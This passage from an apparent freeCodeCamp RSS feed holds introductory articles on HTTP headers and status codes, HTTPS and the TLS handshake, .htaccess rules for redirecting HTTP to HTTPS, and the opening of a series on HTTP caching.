<p>We already talked about the first line in HTTP requests and responses, and body function was mentioned too. Now we'll talk about HTTP headers.</p>
<p>The HTTP headers are added after the first line and are defined as name:value pairs separated by a colon. HTTP headers are used to send additional parameters along with the request or response.</p>
<p>As I already said, the body of the message includes the data to be sent with the request or the data received along with the response.</p>
<p>There are different types of headers that are grouped based on their usage into 4 broad categories:</p>
<ul>
<li><strong>General header</strong> — Headers that can be used in both requests and response messages and that are independent of the data being exchanged.</li>
<li><strong>Request header</strong> — These headers define parameters for the data requested or parameters that give important information about the client making the request.</li>
<li><strong>Response header</strong> — These headers contain information about the incoming response.</li>
<li><strong>Entity header</strong> — The entity headers describe the content that makes up the body of the message.</li>
</ul>
<p><img src="https://www.freecodecamp.org/news/content/images/2019/08/0-0BI1BEJpajUiJ_4R.jpg" alt="Image" width="600" height="400" loading="lazy">
<em>Types of headers</em></p>
<h2 id="heading-http-status-codes">HTTP status codes</h2>
<p>Browsing the web, you may have encountered "404 error: not found" pages or "500 errors: server is not responding" pages.</p>
<p>These are HTTP status codes.</p>
<p>Every HTTP response message must contain an HTTP status code in its first line, telling us the result of the request.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2019/09/Steve_Losh_on_Twitter___HTTP_status_ranges_in_a_nutshell__1xx__hold_on_2xx__here_you_go_3xx__go_away_4xx__you_fucked_up_5xx__I_fucked_up_.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>There are five groups of status codes which are grouped by the first digit:</p>
<ul>
<li>1xx — Informational.</li>
<li>2xx — The request was successful.</li>
<li>3xx — The client is redirected to a different resource.</li>
<li>4xx — The request contains an error of some kind.</li>
<li>5xx — The server encountered an error fulfilling the request.</li>
</ul>
<p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status">Here's a full list of HTTP Status Response Codes</a> and their explanation.</p>
<h2 id="heading-https-hypertext-transfer-protocol-secure">HTTPS (Hypertext Transfer Protocol Secure)</h2>
<p>The secure version of HTTP protocol is HyperText Transfer Protocol Secure (HTTPS). HTTPS provides encrypted communication between a browser (client) and the website (server).</p>
<p>In HTTPS, the communication protocol is encrypted using Transport Layer Security (TLS) or Secure Sockets Layer (SSL).</p>
<p>The protocol is therefore also often called HTTP over TLS, or HTTP over SSL.</p>
<p>Both the TLS and SSL protocols use an asymmetric encryption system. Asymmetric encryption systems use a public key (encryption key) and a private key (decryption keys) to encrypt a message. </p>
<p>Anyone can use the public key to encrypt a message. However, private keys are secret, and that means that only the intended receiver can decrypt the message.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2019/08/0-pB_y5GVIF_O_z4lw.gif" alt="Image" width="600" height="400" loading="lazy">
<em>Example of asymmetric encryption system</em></p>
<h4 id="heading-ssltls-handshake">SSL/TLS handshake</h4>
<p>When you request a HTTPS connection to a website, the website sends its SSL certificate to your browser. That process where your browser and website initiate communication is called the “SSL/TLS handshake.” </p>
<p>The SSL/TLS handshake involves a series of steps where browser and website validate each other and start communication through the SSL/TLS tunnel.</p>
<p>As you probably noticed, when a trusted secure tunnel is used during in a HTTPS connection, the green padlock icon is displayed in the browsers address bar.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2019/08/0-g7q-rF8JTGp7fs19.png" alt="Image" width="600" height="400" loading="lazy">
<em>Example of one of my secure pages</em></p>
<h4 id="heading-benefits-of-https"><strong>Benefits of HTTPS</strong></h4>
<p>The major benefits of a HTTPS are:</p>
<ul>
<li>Customer information, like credit card numbers and other sensitive information, is encrypted and cannot be intercepted.</li>
<li>Visitors can verify you are a registered business and that you own the domain.</li>
<li>Customers know they are not suppose to visit sites without HTTPS, and therefore, they are more likely to trust and complete purchases from sites that use HTTPS.</li>
</ul>
<p>Thank you for reading! Check out more articles like this <a target="_blank" href="https://www.freecodecamp.org/news/author/goran/">on my freeCodeCamp profile</a>. And check out other fun stuff I build <a target="_blank" href="https://github.com/GoranAviani">on my GitHub page</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ WTF is HTTPS? ]]>
                </title>
                <description>
                    <![CDATA[ By Megan Kaczanowski Security has a lot of acronyms. What do they mean? Let’s break them down into manageable bits. First, HTTPS is actually HTTP running with TLS or SSL over it. First, we’ll cover HTTP, then TLS and SSL. What is HTTP? HTTP is what w... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/wtf-is-https/</link>
                <guid isPermaLink="false">66d460858812486a37369d2e</guid>
                
                    <category>
                        <![CDATA[ https ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ technology ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Mon, 24 Jun 2019 12:43:00 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2019/06/dayne-topkin-78982-unsplash.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Megan Kaczanowski</p>
<p>Security has a lot of acronyms. What do they mean? Let’s break them down into manageable bits.</p>
<p>First, HTTPS is actually HTTP running with TLS or SSL over it. First, we’ll cover HTTP, then TLS and SSL.</p>
<h3 id="heading-what-is-http">What is HTTP?</h3>
<p>HTTP is what web browsers use to connect to web pages, images, etc. It is a connectionless text-based protocol. The connectionless part means that every time the web browser needs to load a new element, a new connection needs to be made (instead of keeping the connection open all the time — as most protocols do.) A protocol is just a set of computer rules that govern how devices connect across the internet.</p>
<p>When you type a URL into a browser, the computer will retrieve the IP address (this is DNS). Then, the browser connects to the server and sends an HTTP request to the web page. The web server checks for the page and loads it. Then, the browser receives the page and closes the connection. The browser then looks through the page for other parts it needs to load (such as images, applets, etc.). For each new part it needs to load, the browser will make and close another connection. Finally, the page is completely loaded.</p>
<p>The problem with HTTP is that it transmits information over cleartext — which means that anyone who has the technical skills to watch the traffic can see everything that is being transmitted (including usernames and passwords). HTTPS offers encryption and authentication.</p>
<p>Encryption is designed to hide the contents of a message from anyone other than the intended recipient of the message. The idea is to transform the data so that only a certain person, or group of people, can transform the data back into a recognizable message.</p>
<p>Authentication verifies identity. It is used to verify that the server that is supposed to send the message is actually the server which sent the message.</p>
<h3 id="heading-what-is-ssltls">What is SSL/TLS?</h3>
<p>First, essentially SSL and TLS do the same thing. But TLS is a newer version of the same protocol, with stronger encryption and authentication protocols.</p>
<p>Basically, TLS uses <strong>asymmetric encryption</strong> to set up a link between the two servers using <strong>private/public keys</strong>. Asymmetric encryption is like a lock and key, where one person has the ‘lock’ which encrypts the data, and a second person has the ‘key’ which decrypts the data. Public and private keys are like a lock and key set where one locks up (encrypts) the data, and one unlocks (decrypts) the data.</p>
<p>After the session is initiated, the servers can securely compute a shared secret and begin communicating using symmetric encryption (as it is MUCH faster, and can transmit larger packets of data). Symmetric encryption doesn’t have a lock/key pair. Instead it’s like talking to someone in a secure location (shared secret). If the location is secure (i.e. you are the only two who know where you are/know the shared secret), you don’t have to worry about guarding specific pieces of information with a lock and key. </p>
<h3 id="heading-how-does-ssltls-work">How does SSL/TLS work?</h3>
<p>SSL/TLS works via a protocol referred to as the SSL/TLS Handshake. It works like this:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2019/06/Screen-Shot-2019-06-13-at-4.22.38-PM.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2019/06/Screen-Shot-2019-06-13-at-4.22.47-PM.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The handshake uses asymmetric encryption to set up the process and agree on a shared secret. Then the handshake switches to the faster symmetric encryption. The ‘accepted ciphers’ part just helps the servers agree on a common protocol to use.</p>
<p><div class="embed-wrapper"><iframe src="https://giphy.com/embed/cI45LEPRoFQhLVq7AB" width="480" height="360" class="giphy-embed" title="Embedded content" loading="lazy"></iframe></div></p><p><a href="https://giphy.com/gifs/skittles-yes-winning-heck-cI45LEPRoFQhLVq7AB">via GIPHY</a></p><p></p>
<p>HTTPS is important because it protects the integrity of website's traffic. That allows a website to protect their users from intentionally malicious attackers who are interested in installing malware or stealing user data, as well as 3rd parties like ISPs who might be interested in injecting ads or pulling data. </p>
<p>HTTPS ensures that users have privacy, and it's becoming ubiquitous, in large part due to Google's push for HTTPS. That's why on websites with HTTPS, when you're using a Chrome browser, you'll see a 'lock' symbol (see below).</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2019/06/Screen-Shot-2019-06-18-at-5.31.55-PM-1.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Websites which don't have HTTPS will pop up with a bright red 'not secure' warning. In addition, many new features aren't enabled without HTTPS (particularly for progressive web apps). Given how key HTTPS is to the security of the web, it's important for anyone working in security to understand why and how it works. In order to secure systems, you need to understand them.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to redirect HTTP to HTTPS Using .htaccess ]]>
                </title>
                <description>
                    <![CDATA[ Chrome and Firefox have started showing insecure warnings on sites without SSL certificates. Without SSL, your website will show insecure to the visitors. Therefore, using an SSL-encrypted connection for safety, accessibility or PCI compliance reason... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-redirect-http-to-https-using-htaccess/</link>
                <guid isPermaLink="false">66d84e1ee86088251dd27bb7</guid>
                
                    <category>
                        <![CDATA[ http ]]>
                    </category>
                
                    <category>
                        <![CDATA[ https ]]>
                    </category>
                
                    <category>
                        <![CDATA[ openssl ]]>
                    </category>
                
                    <category>
                        <![CDATA[ servers ]]>
                    </category>
                
                    <category>
                        <![CDATA[ SSL ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Bolaji Ayodeji ]]>
                </dc:creator>
                <pubDate>Thu, 13 Jun 2019 12:10:15 +0000</pubDate>
                <media:content url="https://cdn-media-2.freecodecamp.org/w1280/5f9ca210740569d1a4ca5257.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Chrome and Firefox have started showing insecure warnings on sites without <a target="_blank" href="https://www.instantssl.com/ssl.html">SSL certificates</a>. Without SSL, your website will show insecure to the visitors. Therefore, using an SSL-encrypted connection for safety, accessibility or PCI compliance reasons is necessary. It becomes very important to redirect from HTTP to HTTPS.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/0*wUTFJrRSM2vh1H7v.jpg" alt="Image" width="800" height="289" loading="lazy"></p>
<h3 id="heading-what-is-ssl">What is SSL?</h3>
<p>SSL (Secure Sockets Layer) is a standard security protocol for establishing encrypted links between a web server and a browser in an online communication.</p>
<p>The usage of SSL technology ensures that all data transmitted between the web server and browser remains encrypted.</p>
<p>An <strong>SSL certificate</strong> is necessary to create SSL connection. You would need to give all details about the identity of your website and your company as and when you choose to activate SSL on your web server. Following this, two cryptographic keys are created — a Private Key and a Public Key.</p>
<p><a target="_blank" href="https://www.sslrenewals.com/blog/why-is-ssl-important-benefits-of-using-ssl-certificate"><em>Learn More: Why SSL is Critical?</em></a></p>
<p>In order to force your web traffic to use HTTPS, edit the codes in the <strong>.htaccess file.</strong></p>
<p>Before we move onto redirecting HTTP to HTTPS, here’s how you can edit .htaccess file. If you already know skip to Redirection steps.</p>
<h3 id="heading-editing-htaccess-file">Editing .htaccess File</h3>
<p>There are instructions/directives in the .htaccess file that tell the server how to act in certain scenarios and directly affects how your website functions. Common directives in .htaccess file:</p>
<ul>
<li><p>Redirects</p>
</li>
<li><p>Rewriting URLs</p>
</li>
</ul>
<p><strong>Ways to edit an .htaccess file:</strong></p>
<ol>
<li><p>Edit the file on your computer and upload it to the server using FTP.</p>
</li>
<li><p>Use “Edit” mode in FTP program that allows you to edit a file remotely.</p>
</li>
<li><p>Use a text editor and SSH to edit the file.</p>
</li>
<li><p>Use the File Manager in <strong>cPanel</strong> to edit the file.</p>
</li>
</ol>
<h3 id="heading-editing-htaccess-in-cpanel-file-manager">Editing .htaccess in cPanel File Manager</h3>
<p><strong>Note:</strong> Backup your website in case something goes wrong.</p>
<ol>
<li><p>Login to cPanel</p>
</li>
<li><p>Files &gt; File Manager &gt; Document Root for:</p>
</li>
<li><p>Now select the domain name you want to access</p>
</li>
<li><p>Check “Show Hidden Files (dotfiles)”</p>
</li>
<li><p>Click “Go”</p>
</li>
<li><p>After a new tab or window opens, look for the .htaccess file.</p>
</li>
<li><p>Right click on the .htaccess file and click on “Code Edit” on the menu.</p>
</li>
<li><p>A dialogue box may pop up asking about encoding. Click “Edit” button to continue.</p>
</li>
<li><p>Edit the file</p>
</li>
<li><p>“Save Changes” when done.</p>
</li>
<li><p>Test your website to make sure it is done correctly. In case, there is an error, restore to the previous version and try again.</p>
</li>
<li><p>Once you are done, click “Close” to close the window.</p>
</li>
</ol>
<h3 id="heading-redirecting-http-to-https">Redirecting HTTP to HTTPS</h3>
<h4 id="heading-1-redirect-all-web-traffic">1. Redirect All Web Traffic</h4>
<p>If you have existing code in your .htaccess, add the following:</p>
<pre><code class="lang-python">RewriteEngine On
RewriteCond %{SERVER_PORT} <span class="hljs-number">80</span>
RewriteRule ^(.*)$ https://www.yourdomain.com/$<span class="hljs-number">1</span> [R,L]
</code></pre>
<h4 id="heading-2-redirect-only-a-specific-domain">2. Redirect Only a Specific Domain</h4>
<p>For redirecting a specific domain to use HTTPS, add the following:</p>
<pre><code class="lang-python">RewriteEngine On
RewriteCond %{HTTP_HOST} ^yourdomain\.com [NC]
RewriteCond %{SERVER_PORT} <span class="hljs-number">80</span>
RewriteRule ^(.*)$ https://www.yourdomain.com/$<span class="hljs-number">1</span> [R,L]
</code></pre>
<h4 id="heading-3-redirect-only-a-specific-folder">3. Redirect Only a Specific Folder</h4>
<p>Redirecting to HTTPS on a specific folder, add the following:</p>
<pre><code class="lang-python">RewriteEngine On
RewriteCond %{SERVER_PORT} <span class="hljs-number">80</span>
RewriteCond %{REQUEST_URI} folder
RewriteRule ^(.*)$ https://www.yourdomain.com/folder/$<span class="hljs-number">1</span> [R,L]
</code></pre>
<p>Note: Replace <code>“yourdomain”</code> with your actual domain name wherever required. Also, in case of the folder, replace <code>/folder</code> with the actual folder name.</p>
<p>Think it was helpful? Share this article to help others come on HTTPS.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/0*P6EKtlMMzyIXNRMw.png" alt="Image" width="670" height="240" loading="lazy"></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ An in-depth introduction to HTTP Caching: exploring the landscape ]]>
                </title>
                <description>
                    <![CDATA[ Cache Me If You Can About 2 years ago, I remember witnessing a reunion that had a profound impact on my software developer life. The client, a former developer with decades of experience, a tech savvy product owner and another senior developer were t... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/http-caching-in-depth-part-1-a853c6af99db/</link>
                <guid isPermaLink="false">66d460c751f567b42d9f849b</guid>
                
                    <category>
                        <![CDATA[ https ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Productivity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Development ]]>
                    </category>
                
                    <category>
                        <![CDATA[ web performance ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Léo Jacquemin ]]>
                </dc:creator>
                <pubDate>Mon, 17 Dec 2018 18:21:46 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/0*Phwh9Iozlntqjhc2" medium="image" />
                <content:encoded>
                    <![CDATA[ <h3 id="heading-cache-me-if-you-can">Cache Me If You Can</h3>
<p>About 2 years ago, I remember witnessing a reunion that had a profound impact on my software developer life.</p>
<p>The client, a former developer with <em>decades</em> of experience, a tech savvy product owner and another senior developer were talking about a caching problem. The API was answering stales video fragments that caused clients to view the wrong content.</p>
<p>It was bad. Really bad.</p>
<p>Although nobody knew what to do to fix the problem, they all seemed to agree on one thing. The problem was most likely a caching problem.</p>
<p>I didn’t know <strong>a thing</strong> about HTTP caching back then, so all I could do was listen to them arguing about what could have possibly gone wrong. And all of them had a different explanation.</p>
<p><em>“Browsers deviate from the specs !”</em> the client said. “<em>The CDN override our caching directives!”</em> the tech product owner thought. “<em>We need to invalidate the whole cache”</em> the tech lead replied.</p>
<p>Since I wanted to be helpful too, even though I wasn’t exactly sure how, given my level of understanding, I started asking questions to my fellow coworkers.</p>
<p>I remember very well the level of confidence everyone seemed to have when answering my questions. Everyone acted like they knew what HTTP caching was all about. But at the same time, all their answers felt really vague and shallow. It was really like everybody had this high level of understanding of how things worked, but nobody wanted to get into the details.</p>
<p>Eventually, the problem magically fixed itself and the team was pretty satisfied with how things worked out.</p>
<p>But I was not.</p>
<p>I thought to myself, what just happened these past few days? Why is it that nobody was willing to admit that they don’t have a clue on how this whole caching thing works? Is it the curse of the software developer to always be tempted to pretend that we know more about a subject than we actually do?</p>
<p>So I decided to check it out for myself. And I somewhat understood why everybody was pretending. The subject was by no means easy. But I was determined to go to the bottom of this.</p>
<p>And that’s how what was supposed to be a few hours of Googling turned out to be months of reading articles, meditating on the specs, and experimenting with caching softwares.</p>
<p>Fast forward today, I now realize that web performance (of which HTTP caching is one of the most important aspects) is a topic on which we are not trained enough. Too few articles talk about it, and most of them don’t go deep enough.</p>
<p>The following articles are my attempt to rectify that by sharing everything I have learned during the past two years about HTTP caching.</p>
<p>I’m not a caching expert, and I won’t turn you into one. But it will hopefully give you a strong understanding of how things actually work.</p>
<h3 id="heading-lets-get-started">Let’s Get Started</h3>
<p>This series of articles deals with caching in the context of HTTP. When properly done, caching can increase the performance of your application by an order of magnitude.</p>
<p>On the contrary, when overlooked or completely ignored, it can lead to some really unwanted side effects caused by misbehaving proxy servers that, in the absence of clear caching instructions, decide to cache anyway and serve stale resources.</p>
<p>Before we get to the tactical details of how caching works, it helps to understand the context and the landscape of the problem we are up against. For this reason, the first part of this series covers <strong>where</strong> caching should happen and <strong>why</strong> we need it.</p>
<p>Without further ado, let us start with an overview of key considerations to keep in mind when dealing with HTTP caching, and to a lesser extent, with web performance in general.</p>
<h3 id="heading-caching-everywhere">Caching everywhere</h3>
<h4 id="heading-browsers">Browsers</h4>
<p>Caching is a very popular technique. The idea is indeed pretty appealing: no matter how long the I/O request, how CPU-intensive the computation, or any other programming task, it is always the same: storing the result somewhere and retrieving it as it is, for its further application.</p>
<p>Taking the example of browser’s HTTP cache that all browsers implement, web resources are stored on the user’s filesystem. Hence further requests that will access these same resources will have them delivered instantly.</p>
<p>No network request, no client/server round-trips, no database access, and so on. Can you think of any performance enhancement that would yield better results than no latency at all and complete server offloading? That’s simply not possible.</p>
<p>One might think that this situation is too ideal and impractical. If it were true, how come most pages don’t load that fast? One reason for this is because, even though all web resources are cacheable, they should not be cached the same way.</p>
<p>HTML files for example, which are the first to be downloaded and that contain references to other assets, are notoriously dangerous to cache. Therefore, they’re unlikely to find their way to browser caches except for a few minutes at most, as we shall see in a moment.</p>
<p>But another possible explanation, one that we find more likely based on our experience, is that caching policies are often completely left out for web servers to decide.</p>
<p>Setting a flag on a web server’s configuration file to automatically activate <a target="_blank" href="https://developer.mozilla.org/fr/docs/Web/HTTP/Headers/ETag">ETag</a> generation and Last-Modified headers is not time-consuming and can give decent results.</p>
<p>For some time at least. Until one realizes that the feature doesn’t work as expected or even worse, that users are starting to be served stale content due to unknown reasons.</p>
<p>Besides, these web servers won’t do much good in terms of caching your API. Most of them generate cache headers based on files metadata, which can have <a target="_blank" href="https://github.com/sullo/nikto/issues/469">subtle consequences</a>. But with API requests, there is no file to read metadata from. Hence when they see a resource that is dynamically generated, all they can do is watch and forward the request.</p>
<p>Granted, as efficient as it can be, caching in the browser is not as easy it as looks. Major browsers implement different layers of cache, of which the HTTP one we’re talking about is only a piece. And in case you’re wondering, <a target="_blank" href="https://blog.yoav.ws/tale-of-four-caches/">they can interact</a> in some ways that are not always as predictable as we would like them to be.</p>
<p>Besides, caching in the browser is notoriously dangerous, because developers lack the ability to invalidate resources at will. Doing so would involve allowing a web server to push information to every client that interacted with it, without clients initiating a connection, which is not possible in a client/server architecture.</p>
<p>Furthermore, from the cacher’s point of view, as powerful as it is, the browser has other flaws. It uses some doubtful heuristics when no caching instructions are explicitly present, all the more reason for us to help it know exactly what to do.</p>
<p>But even if we were to do it, users have the ability to flush their cache anyway or disable it. Not the almighty caching tool that one could ask for Christmas, after all.</p>
<p>So let us take the browser out of the equation for now and ask ourselves: without it, is HTTP caching still relevant? Is it implemented at other places? As it turns out, the browser is just one piece of the caching chain. And if browsers were all of a sudden to stop caching everything, rest assured: CDNs got us covered.</p>
<h4 id="heading-cdn">CDN</h4>
<p>Content Delivery Networks (CDN) are the unified champions of the HTTP caching world. Most of them have installed tons of servers — Akamai has ~<a target="_blank" href="https://www.akamai.com/us/en/about/facts-figures.jsp">240 000</a> — all geographically around the globe in order to serve our content closely to our end users.</p>
<p>These companies have accumulated decades of experience on web performance. Most of the people who write <a target="_blank" href="https://tools.ietf.org/html/rfc7234">the specs</a> or the software that power the specs usually work in these companies, which is a bit of an indication that they know what they’re doing. Let us take a quick tour of why they are so important and how they work.</p>
<p>First and foremost, is it crucial to understand that all of these servers are HTTP servers. In HTTP terminology, they are proxy servers which means that they speak HTTP. They do not encapsulate our requests into another shady proprietary application protocol. They just use these proxies, most of which are even free or open source!</p>
<p>As a direct consequence, any knowledge of HTTP caching is immediately actionable to leverage the infrastructure they put at our disposal. In addition to billions of browsers, we now have thousands of servers strategically placed by specialized companies waiting for us to instruct them how to cache our content for maximum efficiency. Furthermore, depending on what your priorities are, that’s not even the best feature.</p>
<p>Most modern CDNs advertise the ability to programmatically purge resources out of the CDN’s network instantly. Let us say this again: <em>programmatically</em> and <em>instantly</em>.</p>
<p>As far as HTTP caching is concerned, the <a target="_blank" href="https://martinfowler.com/bliki/TwoHardThings.html">two hard problems</a> in computer sciences might just have been reduced down to one! Caching anything and invalidating instantly whenever we want. From a developer keen on web performance point of view, it can hardly get any better.</p>
<p>A word of caution: CDNs are not to be blindly trusted based on that. We’ve already experienced some slight differences between what was marketed on the brochure, and what we had in production, where other cache busting techniques had to be used to ensure the cache was actually cleared.</p>
<p>Before starting to cache all of your resources forever carelessly, experimenting on a small sample first might be a good idea. However, if it’s not here today, it will eventually land consistently everywhere, making our lives much easier.</p>
<p>Another aspect to keep in mind is that it is in every CDN’s best interest that developers see them as effective and powerful tools. As a consequence, they’ll often do their best to comply to the specification.</p>
<p>Also, they all provide some web interface that makes it a breeze to give caching rules that will either override or play nice with upstreaming caching directives coming from origin servers. The ability to configure your caching policy outside of your codebase happens to have two interesting consequences.</p>
<p>First, it means that people other than developers can have control on this which can be seen as a strength or a weakness based on your perspective. The ability to have someone other than a software developer fine-grain caching settings at the CDN’s level on critical occasions might come in handy in some situations.</p>
<p>But perhaps even more importantly, it means that the performance part of your application, or at least a large part of it, can be completely factored out at the infrastructure level.</p>
<p>All developers that have experienced performance problems at some point know this: it is rarely something you can mutualize in a single file called <em>performance</em> and is <a target="_blank" href="http://e-culture-de-la-performance-web-sur-son-projet/">often best planned ahead</a>, just like detailed application-level logging. But that’s not necessarily the case with caching.</p>
<p>Provided your caching headers are smartly set and your CDN well configured, you could write poorly optimized server code (although, please don’t) and still have the vast majority of your users be served content in less than 300 milliseconds, by reusing cached versions that are still perfectly fresh.</p>
<p>On the flip side, as one might expect, setting up and maintaining such a network of servers is both expensive and complex. As a result, although some of them have free plans that already allow for some serious performance boost in rather wide geographic areas, they remain paid solutions. If your intention is to cache millions of resources, be prepared to pay several thousand of dollars. This is where private proxy caches come into play.</p>
<h4 id="heading-private-proxy">Private proxy</h4>
<p>The third and last player of the HTTP caching game is simply the same softwares many of the CDNs we just talked about are made of. Do the names <a target="_blank" href="https://varnish-cache.org/">Varnish</a>, <a target="_blank" href="http://www.squid-cache.org/">Squid</a>, <a target="_blank" href="http://trafficserver.apache.org/">Traffic Server</a>, or even <a target="_blank" href="https://www.nginx.com/">Nginx</a> ring a bell? Well, they certainly should!</p>
<p>Given what we just said about the unmatched performance of web browser caches, and the case we just argued in favor of CDNs, one might legitimately asks: why bother setting up these in front of my origin servers when CDNs can do much more, and browsers are closer to my end users?</p>
<p>Well, this third and last solution in the HTTP caching landscape also comes with its fair share of advantages. As a matter of fact, we’ll argue that this should often be the first solution to look for. Let us examine a few bonus points of the most popular solutions.</p>
<p>First, these solution are free and open source, which can be seen as a double edge sword. How many of such software that were once praised by the community suddenly <a target="_blank" href="https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident">stopped</a> being maintained by their core committers due to a lack of interest, sponsoring, or both? The fear of seeing a project’s main dependency (web framework, ui library…) going to the software graveyard is a real concern.</p>
<p>Although when assessing this risk, one must always consider the maturity of the technology, how long it’s been around, which big company is using or supporting it — they usually do both — and how effective it is at solving a particular problem. Lucky for us, the proxies we’re talking about score pretty high on all levels.</p>
<p>Another aspect simply comes from the performance gain. As mentioned previously, these softwares are what CDNs are made of. This has two consequences.</p>
<p>First, it massively decreases the chance of termination of their usage, because CDNs whole infrastructure relies on it. This kind of stability is greater than when a company is just using a library as part of a larger system. In this case, the software <em>is</em> the system.</p>
<p>Second, any hard gained knowledge about their installation, configuration and maintenance will directly be transferable the day you decide to switch or complement your caching infrastructure with a CDN, since they are the same servers! In the software development world, where everything changes so fast, this is always good news.</p>
<p>It’s the same reason why learning HTTP caching is a good bet, because it’s relevant in many different places. And will likely stay that way for decades, we shall see why in the end of this article.</p>
<p>Browsers, edge servers, proxy servers… that’s a lot of caching intermediaries. Thinking about all these caches at the same time can be a little overwhelming and hard to picture. Luckily for us as we mentioned previously, all these caches speak HTTP and comply to the same specification.</p>
<p>As proxy servers, they all act transparently both for clients and for servers. Origin servers communicate with the proxy as if it were the client, and end users browsers communicate with the proxy as if it were the server. This holds true even between proxy servers.</p>
<p>As such, we can model the reality by considering that all caching infrastructures are equivalent to one with a single caching proxy in place.</p>
<p>This is best described by the following picture:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/5GuIRyGlz1WcpwpckUPGHVzMQ9SKeMjt0g5E" alt="Image" width="800" height="260" loading="lazy"></p>
<p>We’ll use this simplification in the rest of this series of articles. This abstraction is helpful to visualize the mechanisms at play, but it comes with certain limitations. Putting two proxies one after the other can have <a target="_blank" href="https://community.akamai.com/customers/s/article/and-Beware-of-the-Age-header-too?language=en_US">subtle consequences</a>.</p>
<p>So far, we have covered a lot of ground without giving away anything about the detailed interactions between a client and a caching server. HTTP caching is a complex subject. Before moving on to the real technicalities in part 2, there is one last important aspect that needs to be explored.</p>
<h3 id="heading-caching-for-the-future">Caching for the future</h3>
<p>Have you ever had to wait a few <em>seconds</em> to interact with a web page, or to see anything meaningful on the screen? Probably. That’s actually <a target="_blank" href="https://www.machmetrics.com/speed-blog/average-page-load-times-websites-2018/">not unlikely at all</a>. Everyone has experienced the slow internet at some point in their life, even at home with fiber connectivity.</p>
<p>Past UX research actually has got some <a target="_blank" href="https://www.nngroup.com/articles/response-times-3-important-limits/">scary metrics</a> about this. Metrics that have been the same for more than 40 years, by the way, making them unlikely to change anytime soon. Their guidelines are expressed in terms of hundreds of <em>milliseconds</em>, whereas we are used to browse the Internet and wait <em>several</em> <em>seconds.</em></p>
<p>So why do we believe that HTTP caching is relevant today and will almost certainly remain so for the years to come?</p>
<p>It all comes down to this basic question: <strong>why is the web so slow?</strong></p>
<p>This question is undoubtedly a difficult one, and a rigorous examination would take us far too deep and lose our primary focus, which is HTTP caching. However, if we don’t have any idea on what makes a web page slow, how can we be sure that caching, despite all of its virtues, is the right tool for the job?</p>
<p>From its conception, the web has certainly changed a lot. The days where web pages consisted of simple HTML files containing mostly text and hyperlinks are long gone.</p>
<p>These days, many websites are labeled as web applications, as their look and feel resembles that of desktop apps. But despite all the improvements and innovations that have been made over the years, one thing has always remained the same: it’s always begun with the downloading of an HTML file.</p>
<p>As it gradually downloads the HTML, the browser discovers all the other resources that combined will result in all the client’s side code that gets parsed and ultimately, executed.</p>
<p>In case of a typical SPA for instance, the flow of requests goes on. Upon execution, the application starts downloading data from the server, typically serialized as JSON these days, in order to render the UI. Each URL inside the JSON payload will, once referenced into the code (it doesn’t even have to be added to the DOM), triggers another download so that it can be displayed on the screen.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/Jfw5khEHRrGvCfKXH-TrrhzxeDjyDa3SzlQL" alt="Image" width="800" height="449" loading="lazy"></p>
<p>This model of execution, where all the bytes needed for the application to do its job are scattered among different places and must be downloaded every time is quite remarkable. Arguably, it’s what makes the web so unique in the software development world.</p>
<p>But there is a catch.</p>
<p>Indeed as of today, the typical web application requires 75 requests and weighs 1.5 Mb, meaning that browsers must initiate a lot of requests of ~20kB each. To put it another way, it means that a typical web application is made of lots of short-lived connections.</p>
<p>And here is the catch: this is the exact opposite of what TCP is optimized for.</p>
<h4 id="heading-the-anatomy-of-a-web-request">The anatomy of a web request</h4>
<p>In theory, all of these 75 requests should go through these steps:</p>
<ul>
<li><p>DNS resolution</p>
</li>
<li><p>TCP handshake</p>
</li>
<li><p>SSL handshake</p>
</li>
<li><p>Data downloading constrained by TCP flow and congestion control</p>
</li>
</ul>
<p>Let us walk through each of them and draw a counter-intuitive consequence from it.</p>
<p>DNS resolution is the process of converting a human readable hostname such as example.com into an IP address. Although the DNS protocol is based on UDP instead of TCP, the journey to getting a hostname IP address <a target="_blank" href="https://howdns.works">can be really long</a>, involving multiple DNS servers. And it’s not uncommon that these DNS resolutions take between 50 to 250 milliseconds.</p>
<p>Then, each request must initiate a TCP connection. HTTP has always needed a reliable transport protocol to work. If the ASCII bytes representing every HTTP request were to be delivered out of order, a status line such as</p>
<pre><code class="lang-typescript">GET /home.html HTTP/<span class="hljs-number">1.1</span>
</code></pre>
<p>would become:</p>
<pre><code class="lang-typescript">GTE /mohe.hmtl HTTP/<span class="hljs-number">1.1</span>
</code></pre>
<p>and the request wouldn’t make much sense.</p>
